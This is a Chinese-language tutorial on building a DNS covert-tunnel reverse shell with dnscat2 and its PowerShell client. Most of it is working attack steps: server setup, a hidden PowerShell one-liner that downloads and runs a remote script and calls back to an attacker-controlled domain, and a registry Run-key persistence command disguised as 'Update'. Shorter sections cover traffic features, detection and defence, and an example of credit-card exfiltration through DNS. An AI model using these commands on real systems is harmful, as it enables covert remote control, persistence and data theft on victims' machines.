Powershell+Dnscat2实现DNS隐蔽隧道反弹Shell
字数 1721 2025-08-05 08:16:26
Powershell与Dnscat2实现DNS隐蔽隧道反弹Shell技术详解
一、技术背景与原理
DNS隐蔽隧道是一种利用DNS协议进行数据传输的技术,主要用于绕过严格的网络监控和安全策略。在安全策略严格的内网环境中,当常见C&C通讯端口被监控且只允许白名单流量出站时,DNS隧道成为建立反向Shell的有效手段。
DNS隧道工作原理
- 利用DNS查询和响应机制传输数据
- 将数据编码后隐藏在DNS记录中(如TXT、CNAME、MX等)
- 绕过传统防火墙和IDS/IPS的检测
二、工具准备
1. 所需工具
- Dnscat2:开源工具,使用DNS协议创建加密C&C通道
- 项目地址:https://github.com/iagox86/dnscat2
- 包含服务器端和客户端组件
- dnscat2-powershell:Powershell版本的Dnscat2客户端
- 项目地址:https://github.com/lukebaggett/dnscat2-powershell
2. 环境准备
- 一台具有公网IP的服务器(如阿里云Ubuntu 16.04)
- 一个可配置的域名
- 目标Windows机器(Windows 10 x64)
三、服务器端配置
1. 服务器环境准备
# 更新系统并安装依赖
apt-get update
apt-get -y install ruby-dev git make g++
gem install bundler
2. 安装Dnscat2服务器端
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
bundle install
3. 域名配置
- 创建A记录将域名解析到服务器IP
- 例如:
ns.cirrus.[domain]→3.1..***
- 例如:
- 创建NS记录将子域名解析委托给上述A记录
- 例如:
dnsch.cirrus.[domain]的NS记录指向ns.cirrus.[domain]
- 例如:
4. 启动Dnscat2服务器
sudo ruby ./dnscat2.rb dnsch.cirrus.[domain] -e open -c dnschcirrus --no-cache
关键参数说明:
-c dnschcirrus:预共享密钥,用于防止中间人攻击-e open:安全级别,允许客户端选择--no-cache:必须添加,与powershell客户端兼容
四、客户端配置与使用
1. Powershell客户端加载方式
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1')
2. 启动客户端命令
Start-Dnscat2 -Domain dnsch.cirrus.[domain] -PreSharedSecret dnschcirrus
完整一句话执行命令:
powershell.exe -nop -w hidden -c {IEX(New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1'); Start-Dnscat2 -Domain dnsch.cirrus.[domain] -PreSharedSecret dnschcirrus}
3. 客户端参数详解
| 参数 | 说明 |
|---|---|
-Domain |
服务器使用的域名 |
-DNSServer |
指定DNS服务器(默认使用系统设置) |
-PreSharedSecret |
与服务器相同的预共享密钥 |
-LookupTypes |
使用的DNS记录类型(TXT, MX, CNAME, A, AAAA) |
-Delay |
请求间延迟(毫秒) |
-MaxRandomDelay |
随机延迟最大值(毫秒) |
五、交互式Shell操作
-
服务器端查看上线客户端:
New window created: 1 Session established! -
查看当前会话:
windows -
进入会话:
window -i [session_id] -
启动交互式Shell:
shell
六、持久化技术
将Powershell命令添加到开机启动项:
$command = "powershell.exe -nop -w hidden -c {IEX(New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1'); Start-Dnscat2 -Domain dnsch.cirrus.[domain] -PreSharedSecret dnschcirrus}"
$regPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Set-ItemProperty -Path $regPath -Name "Update" -Value $command
七、流量特征分析
1. DNS记录使用情况
- 主要使用CNAME、MX和TXT记录
- 数据被转换为十六进制字符串传输
- 例如:"AAA" → "414141"
- 域名中的小数点被忽略(41.4141 ≡ 414141)
2. 协议特点
- 私有数据传输协议运行在DNS层之上
- 不区分大小写(5b ≡ 5B)
- 相比Cobalt Strike的DNS隧道,Dnscat2协议不够清晰
八、防御与检测
1. 检测方法
- 监控异常的DNS查询模式
- 大量TXT、CNAME记录查询
- 长域名查询(超过正常DNS查询长度)
- 高频DNS查询
- 检查域名解析行为
- 非常规子域名解析
- 解析到非常用IP
2. 防御措施
- 实施DNS查询过滤策略
- 限制外部DNS查询
- 监控和限制Powershell使用
- 部署具有机器学习能力的DNS流量分析系统
九、技术局限性
- 协议容错和纠正机制不完善,可能出现不稳定情况
- 传输效率较低,不适合大数据量传输
- 需要域名和服务器支持,增加了攻击复杂度
十、实际案例
-
FrameworkPOS木马:通过DNS隐蔽通道回传信用卡数据
[信用卡号].exfil.dnsch.cirrus.[domain] -
Xshell后门事件:使用DGA和DNS隧道技术
注意:本文仅用于技术研究和防御知识学习,未经授权使用这些技术攻击他人系统是违法行为。